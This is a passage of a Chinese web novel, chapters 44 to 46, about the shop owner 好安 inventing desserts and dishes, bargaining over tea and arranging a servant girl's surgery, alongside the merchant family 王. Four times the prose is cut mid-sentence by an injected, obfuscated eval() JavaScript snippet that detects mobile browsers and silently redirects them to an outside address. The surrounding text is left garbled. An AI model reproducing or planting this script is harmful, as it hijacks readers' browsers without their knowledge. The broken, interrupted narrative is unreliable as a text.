王宁心神不宁的跟在后面，祈祷祖父千万别在。都说隔代亲，但他祖父一点也不，甚至比他爹还凶。 “进去吧。” “我？先进？”王宁脚步迟疑。 “就是你。”说着，年长的妇人轻轻推了他一把。 王宁抬起右脚，颤抖的跨过门槛。 “祖父、祖母、爹，孩儿至今未能考中秀才是孩儿不孝……” “你，今年又没中？” 一道清润的声音从王宁脑门上方传来。 这个声音好像不是他爹，也不是他祖父，但又有点熟悉。 王宁仰头看去，映入眼帘的就是一双灰丝回纹长筒靴，接着是薄墨暗花长衫之间缀着一颗檀香木珠。 “哥！”王宁瞬间两眼放光，语气欣喜。 怪不得姑姑今天心情好，大哥原本下月中旬才能到家，如今整整提前了大半个月。 “咳！” 王宁刚抬起的半边身子又趴下了。 “看你把我的乖孙吓的。”坐在踏上的老太太一边瞪了一眼站在旁边的人，一边将王宁扶起。 王宁避着的他爹目光，起身就往他哥身后躲，小声问道：“哥，你怎么提前回来了？” “想给祖母一个惊喜。”王宣笑道。 “那我写给你的信是不是没收到？” “没有。是有什么急事吗？” 王宁眼珠滴溜溜地转了一圈，抿抿嘴没说话。 “这么大了还爱说悄悄话。”老太太笑道：“你俩出去慢慢聊吧。” 王宣和王宁暂且告辞，走到门口时碰见正要进门的二叔。 “宣哥回来了。”二叔拍了拍王宣，目光扫过王宁时，不由皱眉道：“你没钱了？” 王宁刚想拒绝，忽然想到好安的一百两。 “侄子手头是有点紧。” “那去账房支点，穿得啥玩意，奔丧似的。” “谢二叔！” 二人穿过游廊，来到花园。 “写信是有什么事吗？”王宣见王宁在室内支支吾吾，便寻了一个人少的地方。 “那个今年，家里的酒楼出了新品冰粉卖得可好了。哥，你尝过没？” “还没，但听说了，还有一味凉。” “对。”王宁兴冲冲地吩咐下人赶紧去店里取一份。 “然后呢？” 王宣拿起剪刀，修理残花枯枝。他对王宁很了解，要是单纯的得瑟刚刚在祖母那就讲了，刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109693|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚没讲，可见是有事。 “那个方子我还没搞到手。”王宁双指摩擦，不好意思道，“但我和好老板说好了，她可以把方子卖我，但我要帮她这个忙。” “帮一个你做不到的忙？” “哥——” “当初说好了，你要跟着二叔学做生意，就要靠自己。” “我一直在靠自己。”王宁见他哥放下剪刀，连忙双手奉上湿毛巾，“我这不是靠自己说服她卖我方子了嘛。至于这个条件，还请哥哥帮帮忙。” 王宣不说话，只是一边擦手，一边看着他。 “哥~”王宁直接拿出小时候杀招，一头埋进他哥怀里，拿头乱蹭。 “起开。”王宣后仰道。 王宁蹭得更猛了，说道：“你不答应我就不起。” “赶紧说事。” “今年祖母寿宴上的点心可不可以找外面铺子的师傅来做。” “你为什么不自己和祖母说？”王宣问道。 “你小时候在祖母跟前说话一句顶我十句，再加上这么多年没回过家，你提要求祖母肯定答应。” “冰粉方子的那家铺子？” “对。” “我都没吃过，怎么帮你游说。”王宣用指头戳开王宁。 “那我现在就带你去吃！”王宁不管三七二十一拉着王宣就走。 “好老板呢？”王宁冲到好记收银台问道。 “东家刚刚出去了。”谢宗林见是熟人，又道：“王老板要是有事可以去楼上坐一会，东家马上就回来。” “那算了，把你家所有的点心都打包一份。”王宁倚再柜台上，掏出一块银子。王宣则站在展示柜前，瞧着柜子里前所未见的点心。 “这些东西卖吗。”王宣指着墙上用木头雕的点心模型问道。 这家铺子布置的很有意思，做得点心则别具一格。 “这个要问问东家。”谢宗林也不确定。 “奶茶要吗？”周娟端着两个盘子过来问道。 “额——”王宁瞥了一样他哥，见他正盯着那些小玩意，“要，小料也要。” “好的。”谢宗林拨了两下算盘，道：“一共六百五十五文，找您三百四十五文。” 谢宗林双手递过点心，有数了十张用红纸包起来的小卡。 “这是什么？”王宁一头雾水。 “这是好记的活动。集满九张不同的小卡送吨吨桶。”说着周娟递上一份宣传单。 王宁挑眉，好安可真能整活。 好安不在，王宁便不做逗留，捎上点心和王宣回家了。 王宣刚坐下掀起车帘一角，便看见一道熟悉的裙摆一闪而过。 他立马探出车窗看去，可已无踪迹。 “哥，看什么呢。” “没什么。”王宣放下车帘，笑了笑。 好安气喘吁吁地跑回店里，把刚拿到手的匕首分给店里的几个小娘子，说道：“最近大家要走夜路，这个给你们防身用。” “哇，这个看着好贵。” “不是看着，就是好贵。” “好贵东家还舍得送给我们？”有人打趣道。 “咳，送给个是有条件的。”好安正色道：“每天必须随身携带，我早上晚上会检查。谁忘了扣工钱！” “知道啦。” “谢谢东家。” 几个小娘子欢欢喜喜的收下了。 好安把自己的那把别在腰间，走到向银台道：“我看见周大了。” “他伤好了？” 好安点点头，冲谢宗林招了招手，在他耳边小声地说了几句。 44. 水煮鱼片 “你们来的时候看见了吗？”吴月一到好记便迫不及待地分享道：“周大今早在福缘斋门口晕倒了，还当场拉肚子！” “没有，我们不路过福缘斋。” “真的吗？我想去看看。” “还有一刻钟才到上工时间，来得及。” 好安刚把铺子和厨房之间的木门打开，便看见几个姑娘小声嘀咕着什么。 “聊什么呢？这么开心。” “福缘斋。”吴月走到好安身边把事情重新说了一遍。 “啧。”好安撇了撇嘴，提醒道：“要看的话记得站远点看，可别沾着味。” 说完，好安看见谢宗林端着一堆点心走来。 好安递给他一个赞许的眼神。 周大和福缘斋这件事上她可是花了钱的。 时间、地点、药量都精心测算过，力保福缘斋和周大结下不解之缘。 摆好盘子刚营业，一个小郎君跑进好记，拿出一叠小卡，着急道：“九张不一样的，我要换吨吨桶。” 这还是第一个集齐九张小卡的人，好安核对无误后，问道：“你要……” 还没开始介绍，就被打断。 “茉莉红茶，去冰！”小郎君垫脚看向收银台后面的大水桶，催促道：“可以快点吗？” “行。” 好安刚把红色的杯套套上，店门口又冲来一个小娘子，对好安大喊道：“等一下。” 说完直冲小郎君，拎着他的耳朵就是一拧。 “姐，疼疼疼。” “你居然偷偷拿我的小卡！” “你说了送我一张。” “那我说送你这张了吗？” 好安一愣，这是她没想过的画面。还是谢宗林反应快，连忙走出收银台把两人扯开。 这姑娘手劲真大，就片刻时间，小郎君的手腕上留下五个清晰的手指印。 “消消气。”好安安抚道：“姐弟嘛，有事好商量。” “要黑糖波波，双份珍珠可以吗？”小娘子问道。 好安还未开口，小郎君反驳道：“要茉莉奶……” 话未说完，只见小娘子一掌拍在柜台上，刚叠好的九张小卡一下被掀飞八张。 “黑糖波波。”小郎君十分有眼力见的说道。 “可以加双份珍珠，但多加的一份要收钱。” 小娘子数了四文钱放在收银台上。 自从用了木薯粉后，珍珠价格从三文变成四文，但销量不减反升。 好安麻利的做好奶茶，递给小娘子微笑道：“欢迎下次光临。” 小娘子欢喜接过，侧头瞅了一眼旁边的小郎君，淡淡道：“回家了。” 一上午，除了这件事出人意外，其他都正常。 好安正准备吃饭时，王宁偷偷摸摸来了。 好安：“你腰怎么了？直不起来了吗？” “没。”王宁朝四周看了看，确定没有他姑姑的人后才收了扇子，直起腰，说道：“寿宴的事情我已经安排人去协商了，但还要麻烦你帮点小忙。” “说。” “你能不能再做一些点心。” “？什么意思？”好没懂，“店里不还有好多点心吗？” “不是店里有的，新品。” “这个有啊，明天有蛋卷，再过几天有一批玫瑰花到，到时候有鲜花饼。” “不是这些。”王宁想了想他哥的口味，说道：“做有没有有鲍螺的点心。” “为什么要鲍螺？”好安不解，扫了一眼王宁。 王宁也不能多说。他哥是天子近臣，私下的喜好是不能公开的。 若是让别人知道了，送礼是小，万一被有心人利用后果不堪设想。 “因为鲍螺事关成败。”王宁握拳道。 好安：“这么重要？” “对！所以明天能做有鲍螺的新品吗？” 好安抓起一把筷子，道：“行。” 王宁侧了侧身，给好安让路。 好安看王宁没有半点离开的意思，道：“还有事？” “没了。” “那你怎么还不走？等我留你吃饭吗？” “行啊。”王宁等的就是这句话，大步走到桌前坐下。 他刚刚就闻到一股浓烈的香气。这种香气不似点心的甜腻，而是一股山野间的草本香气，仿佛能穿透一切，直击味蕾。 王宁咽了咽口水，虽然他是开酒楼的，但这个味道他没闻过。 好安看了看锅里的饭菜，用碟子专门盛了一份。 “他不和我们一起吃吗？”谢宗林问道。 好安笑笑，道：“大少爷，必须单开一桌。”说完又想起了什么，把红辣椒都剔了出去。 辣椒传入这片土地的时候因为颜色鲜艳，形状多样，一直是作为观赏植物，没听说有人用来做菜。 “木碟五文，瓷碟二十文，米饭三文，汤免费，一共三十八文。先付钱后吃饭。” “没问题。”王宁数了四十个铜板放在桌上，又默默收回两个。 “嘶哈，这个辣味怎么不一样，我嘴巴麻了。”王宁嘴上嫌弃，手却没停。 “水煮鱼片神秘配方，要买吗？”好安迅速凑过来。 “不买，我已经吃出好几种配料了。”王宁看着碟子说道：“葱、蒜瓣还有花椒！” 好安嫌弃的看了一眼，“你怎么不说还有鱼片。” “嘶——你等着，我一定吃出来！” 好安看王宁吃得满头大汗，关心道：“要水吗？” “要！”王宁从碟子里抬头。 “五文一碗。” 王宁抬手的拍出八文钱，豪气道：“两份冰粉。” 居然让王宁钻了空子，不过她不介意。 王宁一口气吃完两碗冰粉，才觉得嘴里稍微安静些，但嘴巴还麻麻的。 “水煮鱼片还要续嘛？” 王宁摇摇头，话都不想说。 “配方要吗？” 王宁还是摇摇头，说道：“我又知道一种——姜。” 这回好安有点意外，她做水煮鱼片的时候没放姜片，只有做豆瓣酱的时候放了一点姜末，味道淡得可以忽略不计。 “你还真有两下子。” 王宁抬了抬头，挠挠脖子，问道：“我能外带吗？” “只能堂食，不可外带，但你可以下次再来。” 好安猜他是想带给王记的厨子，若是真让哪个喜欢猎奇的厨子尝出来她不得损失一大笔。但真有人尝出来，她也认命，可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116637|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这之前，她要尽可能的多薅几次二十文。 苍蝇再小也是肉！ “这几道菜你不吃吗？”好安见其他几道菜都没怎么动筷子，王宁就起身要走。 王宁头也不回道：“不了。” 他要回家找大夫，他姜过敏！ 吃完饭，好安去街上晃了晃。 酥油鲍螺，主要原料就是奶油，然后搀上蜂蜜和蔗糖，大部分店里有粉红、纯白两样。 烂大街的颜色好安没兴趣，她转身进了茶坊。 这里的茶文化浓厚，茶叶品种和制作工艺多种多样。光制作工艺中杀青这一步就分为蒸青法、炒青法、烘青法和晒青法。好安要找蒸青法做出的茶叶。 蒸青顾名思义，用高温蒸汽杀青，可最大程度的保留叶片的颜色。 但如今炒青和烘青是主流，蒸青工艺的茶叶不好找。 好安逛了一圈，也就找到一家卖研膏茶和榨膏茶的。 研膏茶是蒸青后直接研磨而成，不去茶汁，所以味苦，但色青气浓。 榨膏茶蒸青之后要多次榨汁，去除茶汁，所以色泽偏黄，香气收敛，但苦味更轻。 “两块要多少钱？” 经店主介绍，好安一时抉择不出，索性全部拿下。 没钱才做选择，有钱两个都要。 店主指了指研膏茶，道：“这个五两……” “你说多少？”好安差点把茶团扔出去。 “五两。”店主张开一只手，又指了指榨膏茶团后张开了两只手，说道：“这个十两。” 好安一副你看我像不像冤大头的模样。 “我不要了。”好安果断放手。 这个价格只会给钱包带来伤痛，该放手时就放手。这里都有蒸青工艺了，她不信买不到蒸青的茶叶！ “这可是上好的茶团。”店主见好安放弃的干脆利落，一时有些无奈。 江南这一片流行泡茶，榨膏茶则是用来点茶的，更别说再之前的研膏茶，早就落伍了。这两个茶团还是小二进错了，不然谁进它们呀。 若是白茶黑茶之类的还好，卖不出去放一放，越陈越好，但这两种茶越放香气越淡。 难得有个感兴趣的，店主不想错过，便主动挽留道：“客官要是嫌贵，可以便宜一点。” “便宜多少？”好安淡淡道。 店主又张开手掌。 “五百文。” “五两。” 好安掉头就走。 “哎，等等。”店主连忙从柜台后绕出，拦住好安，说道：“既然你想买，我想卖，我们就好好商量。但五两太多了，我进货都不止这个价钱。” “你这茶至少放了半年了吧。”好安又拿起茶饼闻了闻。 “是有半年，但绝对是今年的，不信你看看这个色泽，闻闻这个香气。”店主见好安能说出时间，便把她当做半个内行。 好安其实闻不出太大区别，也不太了解茶叶，半年时间只是推测。 她知道大部分绿茶的最佳采摘时间是惊蛰和清明前后。用了蒸青工艺应该就算绿茶吧。 二人一翻拉扯，最终十两零八十八文成交。 回到家，她立马把两块茶团各冲泡一杯。 都不好喝，苦。 45. 鲍螺甜筒 九月三十，宜祈福。 一大早，谢宗林将提前泡好的米冷水下锅。大火烧开后，把灰烬覆在明火上，火势瞬间收敛了许多。 米粒不再翻滚，而是躺在锅底，随着浮起的珍珠泡轻轻晃动。 锅盖留出一条缝，谢宗林便不再管它，转身去做其他事情。 不到两刻钟，米香变得浓郁。谢宗林彻底把火熄灭用余温包裹锅底。 好安打着哈欠道：“你怎么起这么早？” “今天要去云台寺。”谢宗林说话时手里的活也没停。 “对哦！”好安急忙回屋，拿了五百个铜板给谢宗林，道：“今天看病不要钱，但药要花钱。这些给余三妞配药。” “如果，我说如果今天不买药钱记得带回来。” 谢宗林点头，“没问题。” 谢宗林不在，结账的活就落到好安头上。 家里还是人太少，一个萝卜一个坑。 巳时四刻，王宁身边的小厮来了。 他拉着周娟问道：“周姐姐，少爷让我来打听打听，今天有没有水煮鱼片。” 周娟肯定回答：“没有。” “那有什么？” “不知道，看东家做什么。” 小厮看了眼在收银台后忙碌的好安，不好意思打扰，便把周娟的话转述给王宁。 王宁让掌柜在王记酒楼挑了一个味觉最灵敏的师傅，要带他去好记吃午饭。 被选中的宋师傅忍不住有些紧张，想道：东家专门带他去吃饭？这应该是东家重视自己吧。 可等到小厮的回话，说今天没有水煮鱼片后又有些失落。 表现机会没了。 “没有水煮鱼片我还去吗？”宋师傅问道。 “去。”王宁果断回答。 能做出水煮鱼片的人一定能做出其他好吃的。他昨天吃的其他三道菜味道也不错，只不过被水煮鱼片盖了风头。 好记一定藏了个大厨！ 巳时一过，王宁掐着点出现在好记门口。 “是不是该吃饭了？” “是哦。”好安看了看个收银台里的计时沙漏，问道：“今天中午谁值班？” “我！”周娟连忙举手。 “今天只多做了一份，周娟你换班后自己出去吃吧。” 周娟点头道：“好！” 同时，其余几个姑娘朝周娟投来羡慕的目光。上午好安一直在忙，根本没有时间去后厨做饭。她们估计要吃那什么轻食减脂餐了。 虽然有肉有菜，但吃起来没有滋味。 “二十一份，两人四十。”好安伸手要钱。 王宁：“给你。” 宋师傅不禁有些好奇，二十文能吃什么好吃，让少东家念念不忘。 好安进厨房没一会，便招呼大家端饭。 “这么快？烟囱都没冒烟呢吧，我什么味都没闻到啊。” “轻食就没什么味。”好安说道：“一人一份，除了虾其他不够的可以自己加。” 轻食？ 王宁第一次听说，不禁来了兴趣起身亲自去端。 六个虾、一块红薯、几片黄瓜、一个馒头。哦，还有一堆生菜叶子。 宋师傅、王宁：“这？” “这就是轻食减脂餐。”好安说道。 王宁看了看自己的，又看了看别人的。 他不相信就是表面这些，一定另有他没看到的玄机。 果然，他看见小娘子们飞速的拨好虾后倒了一些黑乎乎的东西进去。 王宁赶紧说道：“这个我也要。” 这一定是这道菜的关键！ “给。”好安把油醋汁递过去。 王宁闻了闻，递给宋师傅。宋师傅用汤勺小抿一口。 “尝出来了吗？”王宁迫不及待的问道。 宋师傅点点头道：“油、香醋、蒜末、糖、胡椒、应该还有一点盐吧。” 王宁满意地笑了笑，把油醋汁倒入碗里拌了拌，然后夹了一大筷塞入嘴里。 一嘴的草味，王宁闭了闭眼，要不是他教养所迫他当即就想全吐了。 宋师傅也好不到哪里去，他偷偷瞟了一眼王宁，见他一吃就是一大口，还十分享受似的咽了下去，一时心有不解。 少东家原来好这口？ 王宁尝试用红薯配虾、用菜叶子包虾、用黄瓜夹虾，各式各样的搭配都试过了，仍是一股菜叶子味。 他转头看向其他几位小娘子，见她们却吃的面不改色，于是忍不住问道：“你们觉得好吃吗？” 众人筷子一顿，吴月轻轻地摇了摇头，说道：“除了东家没有人觉得好吃。” “那你们还吃的这么快？” “早吃完早结束。” 几个小娘子吃完便离开了，院子里没吃完的只有王宁和宋师傅。 好安：“不吃了？” 王宁实在憋不住了，问道：“今天为什么没有水煮鱼片或者其他的菜。” “太忙了，没人做啊。你要是喜欢可以买方子，想吃就吃。” “不了，我先自己琢磨琢磨。”王宁连连摇头。 他发现好安永远有方子卖给他，冰粉方子还没到手，现在又来一个水煮鱼片方子。照这么下去，他赚的钱全进了好安的口袋。 中午这段时间除了学院的学生来一波并没有其他客人，好安便开始做抹茶粉。 研膏茶和榨膏茶都要碾碎然后放入石磨磨成细粉。 研膏茶团虽外表清灰，但内里颜色鲜嫩，研磨成粉后色泽碧玉。 榨膏茶团大不一样，它的叶绿体在高温下分解，粉末呈褐灰色。 好安将两种粉末反复过筛，得到轻如尘埃的粉末才收手。 将抹茶粉和少量鲍螺混合，用竹筅打发均匀变成深绿色和棕褐色的抹茶糊。再加入糖粉和提前静置好的奶油层，打发至有纹路。 一个颜色青白，如初春嫩芽，一个颜色暗黄，如干枯竹叶。 好安尝了尝味道，这块榨膏茶应该加入了其他香料，茶香味淡，还有淡淡的米香和焦香。 要是做抹茶还是研膏茶更鲜爽清香，最大程度保留了茶叶的原始风味。 好安用酥皮做筒，做鲍螺甜筒。可如何把鲍螺填进去是个问题。 甜筒虽然下窄上宽，但最宽的地方也只能伸进抹刀，鲍螺根本填不进去。 这年代可没裱花袋。 好安想了一会，去前面铺子里拿了几张油纸。把油纸叠卷成锥形，尖端留小孔，这才一点点把鲍螺填了进去。 都没两指宽的甜筒还挺能装。 填好一根，好安算了一下成本。 鲍螺、黄油、茶团个个不便宜，一个最少要卖三十文才不亏。 丁点大东西，三十文，太贵了。 得降低成本，调低价格，一根甜筒不能放这么多鲍螺。 这样的话就要拿其他东西填充。 什么和抹茶配呢？当然是红豆。 好安找出今天盐豆大福还剩的一点红豆。其实铜锣烧的红豆剩的更多，但铜锣烧的红豆比盐豆大福的红豆细腻。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122046|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 配抹茶好安更喜欢用颗粒分明的红豆，盐豆大福的红豆也不达标，可再去煮红豆时间来不及。 好安挤一点鲍螺进去就撒两颗红豆，然后再挤一点鲍螺等不怎么看见红豆了，再放两颗红豆进去…… 循此反复，等到头时把鲍螺挤成一个小圆球，再缀上两颗红豆。 好安还想撒上一些抹茶粉，但想想算了，不撒二十文，撒了就要二十五文了。 鲍螺甜筒一上架，几个小娘子立刻凑了过来。 “好好看。这个绿的也是鲍螺吗？” “对，绿色的是抹茶红豆鲍螺甜筒、白色的是原味柚子鲍螺甜筒。” “多少钱一个？”小娘子们心动，想买个尝尝鲜。 “二十文一个。” “嘶——” 小娘子们心道：好贵。 好安看着她们倒吸一口气的模样不禁笑道：“收银台里有给你们留的，赶紧去吃吧。吃完记得好好推销。” “一定！” 好安从展示柜里拿出六个，放在食盒里，问道：“你们谁有时间把这个送去王记酒楼？” 五个就是一百二十文。要是路上磕了碰了要不要赔呢？ 众人一时纠结，只有周娟一人举手。 好安：“记得问王记掌柜要钱，一百二十文。” 周娟一路小心翼翼的避开旁人，终于到了王记。 现在还不算彻底过了饭点，王记里有不少人在吃饭。 小二见有人进来便迎了上去。 周娟问道：“掌柜在吗？我找掌柜。” “掌柜在忙，有什么我可以代为转达。”小二笑道。 “我不急，我等等。” 周娟看了一眼食盒里的东西没乱，便站在一边等着。 过了一刻钟，掌柜才姗姗来迟。 “这个我，我东家，让我转交给你东家的。”周娟将食盒朝前推了推，“你东家要的鲍螺。” 掌柜打开看了一眼，笑着谢了谢。 “还有，”周娟伸手道：“一百二十文。” 掌柜一下愣住。 “店里就二十文一个，不信你可以去店里看看，没多收你钱。”周娟见掌柜还不付钱，又补充道：“东家说这次跑腿费给王记免费。” 掌柜很快回神，要不是对方穿着好记的衣服他肯定当强买强卖的给打出去了。 他连忙拿了两串铜板递给周娟。 “一串六十个，两串刚好。” 周娟仅用一只手便飞速数完，把钱踹回兜里。 “食盒记得还。” 说完，朝掌柜道了声谢便回去了。掌柜则拎着食盒去了王家。 “你说她还要钱了！我是在给她疏通关系，她居然让我付钱！” 掌柜笑着点头道：“不好不给呀。” 谁让是你托人家做的。而且你不是为了买冰粉方子嘛。 偏偏又是二十文。 王宁看了看食盒里的鲍螺又想到中午吃的饭，不知为啥就觉得自己亏大了。 他叉开腿，一手拿起一个颜色就朝嘴里塞。他要看看二十文的东西能是什么味道。 嚼着嚼着，好像是还行，茶的苦味和鲍螺、红豆的甜味中和的很好。 柚子的鲍螺搭配酸甜清爽、甜而不腻，颜色也很漂亮。 “把剩下的给我哥送去。”王宁吩咐道。 再不送去他就要全吃光啦。 吃光了就要又二十文一个的去买。 二十文，一想到二十文他嘴巴里就一股草味。 46. 画像 晚上，谢宗林回来，好安问起余三妞的情况。 “义诊怎么说？” 谢宗林道：“觉明师傅介绍了一个大夫？” 觉明就是负责斋堂事情的职事僧。 “大夫说余三妞只是唇裂，虽然年纪有些大但可以医治，只是治疗需要用针线缝合裂口，有邪气入体的风险。” 也是，现在麻醉技术一般，没有无菌环境，动刀动针都是生死一线的事情。 “余二壮怎么觉得？” “余二壮说他考虑考虑。”谢宗林说着把五百文还给好安。 好安夹了一筷菜，说道：“余二壮不希望余三妞出事。” “是的吧。今天看他样子好像不是很想缝，但余三妞想缝。”谢宗林顿了顿，说道：“他让我来问问你，他俩卖给你了，治还是不治要看你的想法。” “看我干嘛？”好安从碗里猛地抬头，虽然她买了他们，但她也不敢做这个决定。 余二壮希望余三妞正常的活着，可事关生死的时候，正常和活着，余二壮自然偏向后者。 但余三妞不同，她受尽嘲讽和白眼，她想搏一搏。 “这种事还是他们自己决定，要是做我们也出得起钱，要是不做我们也不会嘲笑他们。” 谢宗林点点头，道：“我明天再去一趟。” “义诊也就半个月，他要是做就早做决定。”好安把谢宗林还回来的五百文递了回去，又添了一两银子。 “要是做让他找个干净的房间，屋里的东西都擦干净了，或者四周用干净的布围起来。用到的针和线的时候，一定要用烧开的热水多烫烫。还有布！”说着好安放下筷子，回屋拿了块新扯的原色棉布，继续说道：“这个在要缝针的时候放开水里滚一滚，然后披在身上，只露出脖子以上的部位，可以减少邪气入体。还有那个大夫让他换身干净衣裳，多洗洗手……” “你希望她做？” 好安一下顿住，解释道：“也不是。” 沉默半天后，好安又说道：“你说不做吧，余三妞以后会怎样？” 这姑娘闷闷的，也不讲话。刚买回来的时她和她哥在忙活，她就缩在角落里，抱着膝盖用胳膊挡住嘴巴，偷偷地看着他们。只有她哥一人在的时候，她才会上前帮忙。 大夫有，年龄也可以，可以说是唯一一次可以改变的机会了，要是错过好安担心她会出心理问题。 “反正你让他们自己做决定。要是决定做了，就把我刚刚说的那些注意点告诉他们。” “哦对了，要是做那块布用完记得拿回来。” ———— 第二日，王宁的小厮又来打听好记中午吃什么。 周娟面无表情道：“应该是轻食减脂餐。” 昨天她中午值班，自己领了八文钱美滋滋地出去喝了碗羊杂汤。 今天她不值班，她要吃草了。 还记得她第一次吃的时候，难过了一天。 王宁的小厮得了王宁叮嘱，一听是轻食掉头就走。 可没到中午的时候谢宗林赶回来。周娟激动地差点把客人的点心夹掉了。 好安问道：“余二壮怎么说？” “做完了。”谢宗林笑道。 好安吃惊：“这么快？” “大夫刚好有时间，房间都打扫了，药钱也付过了，我走的时候余三妞还迷迷糊糊的。棉布余二壮洗好会送回来。”谢宗林掏出两个铜板，说道：“这是剩的钱。” 好安两眼都快直了：“什么药这么贵？” “麻沸散一碗，一两银子。外敷内服药六副四百九十八文。” 一碗，一两银子。 好安啧舌，不过能起作用就行。 快到中午，谢宗林便直接去后院做饭。 今天中午做水煮鸡柳。 为什么不做最出名的水煮肉片呢？因为好安嫌弃没阉割过的公猪肉.骚，又很难买到没怀过崽的小母猪。 公猪肉用水泡酒泡、倒醋、用淀粉吸附、去掉脂肪，各种手段齐上，还是有淡淡的骚.味。 明明王宁的小厮早早就走了，不知道王宁从哪闻着味了，又来了。 但可惜来迟一步，都吃完了。 “周姐姐，不是说今天吃轻食吗？”王宁的小厮小声说道。 周娟仰头四处张望，“我说了吗？” “说了呀。” 少爷错过一次吃饭的机会，狠狠把他骂了一顿。 “可我又不做饭，我猜的啊。”周娟说道。 “……”王宁小厮一时噎住。 “那你们谁做饭？能不能透露一下。” 周娟侧过头，忙着手里的活，不想搭理他。 “周姐姐，我的好姐姐！”王宁小厮央求道。 “你的好姐姐在这呢。”好安双手抱胸，半路插了进来。 王宁小厮挠了挠头，不好意思道：“好老板。” 好安对这个小厮印象深刻，王宁走哪都带着他，但她一直不知道他叫什么名字。 或许以前说过，可她不记得了。不记得不就相当没说过吗。 “你叫什么名字？” “小的叫东明。” “是来买东西的？” “啊……” 好安根本不给东明说话的机会，热情的把东明朝单价最贵的鲍螺甜筒那带，嘴巴不停说道：“上次你家少爷吃过感觉如何？” “好吃啊。” “那你这次是再来买一份的吧！”好安拉开展示柜的移门，豪爽道：“要几个，你的好姐姐亲自帮你夹。” 打扰她的人干活，不得出点血嘛！ “既然觉得不错，上次才六个，这次就十个吧！”好安拿起夹子就要上手。 “不！”东明一把抓住好安的胳膊，同时他感受到一道尖锐的目光射来。东明本能地放手，目光过了一会才消失不见。 “几个？” 东明谄媚的笑了笑，说道：“我买的话好老板是不是就愿意告诉我你们中午吃什么？” 好安哼了一声。 她本来就打算有水煮鱼片或者水煮鸡柳时告诉王宁，今天是不确定谢宗林什么时候回来，没来得及说，和东明买不买鲍螺甜筒不相干。 但谁让东明一直打扰周娟，好安不说，默认了东明的这种想法。 “买！十个！” 东明在好安满意的眼神中利落的付钱。 好安回道：“后天。” 东明得了准信，欢欢喜喜的离开了。 回到王家，王宁看着一排的甜筒，抽了抽嘴角。 买都买了，他一人也吃不完，送点给他哥吧，顺带打听打听情况。 王宣平日这个时候都在书房练字，但这次王宁却扑了个空。 “大少爷去老太太那吃饭还没回来。”守在门口的小厮如实回答。 “这都什么时辰了，还没吃完？”王宁惊讶道：“我进去等他。” 王宣的书房王宁常来，门口的小厮便没阻拦。 书房不大，但明朗清静，王宁小时候最喜欢来这玩。 他走到博古架前坐下，眼前的桌案上除了笔墨纸砚都是书。 “回来才多久就买了这么多书，我哥分明比我还能花钱。” 干等无聊，王宁便翻了翻书堆想找一本自己能看得进去的书打发时间。 一本、两本……十六本，居然没一本杂书！剩下的几本王宁也懒得翻了，把之前的十六本放回原样。忽然，一张纸不知从那本书里滑落。 王宁好奇打开。 呦，他哥画的谁家的小娘子！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125250|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>虽然是模糊的背影但寥寥几笔已经画出神韵。 王宁瞪大眼睛仔仔细细看了一遍。 好像有点眼熟，但好像又不眼熟。 “藏在书里还是被我发现了。”王宁得意的笑了笑，心道：这个在手还怕他哥不答应他的事情。 王宁美滋滋地朝罗汉床一躺，一边两腿翘在床几上，一边对着门口的小厮说道：“快去老太太那看看我哥还有多久回来。” 另一边，王宣哪是吃饭。 等了半天不见开饭，结果饭桌摆在亭子里。王宣顿时意识到不妙。果然不出片刻，姑姑带着几个不认识的女眷在院子里游玩赏花。 老太太：“那是吏部侍郎的夫人和她的嫡女李与薇，举止端庄、略通文采。宣儿觉得如何。” 王宣：“是个极好的姑娘。” 老太太听了刚喜上眉梢，便听王宣继续道：“但和我没什么缘分。” 这就是没看上。 “宣哥儿，你也不小了。你父亲像你这个年纪的时候，你都会说话了。” 王宣顺从的点点头，给老太太盛了碗排骨汤。 王宣刚动力两筷子，便看见自己院里的小厮站在假山旁。 这个小厮来的可太是时候了，王宣连忙找了个理由，起身告辞。 老太太叹了口气：“这还没吃上几口就走啦？快拿几样宣哥儿爱吃的送去。” 